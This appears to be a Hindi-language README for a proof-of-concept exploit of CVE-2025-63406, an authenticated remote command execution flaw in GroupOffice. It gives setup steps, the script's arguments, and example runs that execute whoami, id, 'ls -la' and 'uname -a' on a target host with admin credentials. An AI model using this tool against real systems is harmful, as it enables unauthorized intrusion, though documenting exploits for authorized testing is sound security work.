CVE-2025-63406 प्रूफ ऑफ कॉन्सेप्ट

स्थापना

# Install dependencies
pip install -r requirements.txt

# Or use a virtual environment
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

उपयोग

python3 CVE-2025-63406.py -u <URL> -n <USERNAME> -p <PASSWORD> -c <COMMAND>

तर्क

-u, --url: GroupOffice इंस्टेंस का आधार URL (जैसे, http://localhost:9090)
-n, --username: प्रमाणीकरण के लिए उपयोगकर्ता नाम
-p, --password: प्रमाणीकरण के लिए पासवर्ड
-c, --command: निष्पादित करने के लिए सिस्टम कमांड (जैसे, whoami, id, ls -la)

उदाहरण

# Execute whoami command
python3 CVE-2025-63406.py -u http://localhost:9090 -n admin -p password -c whoami

# Execute id command
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c id

# List files in current directory
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c "ls -la"

# Get system information
python3 CVE-2025-63406.py -u http://target.com:9090 -n admin -p password -c "uname -a"

id कमांड के साथ PoC का उपयोग "uname -a" कमांड के साथ PoC का उपयोग

अस्वीकरण

⚠️ यह उपकरण केवल अधिकृत परीक्षण के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है।

CVE-2025-63406-PoC

सबसे लोकप्रिय